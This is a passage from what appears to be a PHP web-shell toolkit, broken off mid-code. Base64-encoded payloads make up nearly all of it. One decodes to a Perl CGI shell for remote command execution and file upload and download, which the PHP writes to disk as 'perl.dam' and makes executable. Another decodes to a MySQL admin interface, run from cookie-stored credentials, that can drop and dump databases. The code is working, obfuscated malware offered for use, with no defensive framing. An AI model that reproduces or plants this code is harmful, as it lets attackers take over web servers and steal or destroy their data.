QkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIjxjb2RlPlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiPC9jb2RlPiI7DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0K';$files = fopen("perl.dam" ,"w+");$write = fwrite ($files ,base64_decode($perlshell));fclose($files);chmod("perl.dam",0755);echo " ";}elseif ($action == 'mysql_1') {@chdir('damane');$crackftp = 'PD8NCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZD5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZD5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQoNCn0NCg0KZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgew0KCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YWJsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsNCg0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYXRlIERhdGFiYXNlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8aHI+XG4iOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGRyb3BEYXRhYmFzZSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoNCglteXNxbF9kcm9wX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoNCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVUYWJsZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYXRlIFRhYmxlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1xdWVyeT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdRdWVyeSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOw0KDQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7DQoNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCg0KCWVjaG8gIjwvdGFibGU+IjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcXVlcnlTdHIgPSAiQ1JFQVRFIFRBQkxFICR0YWJsZW5hbWUgKCBubyBJTlQgKSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcFRhYmxlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0K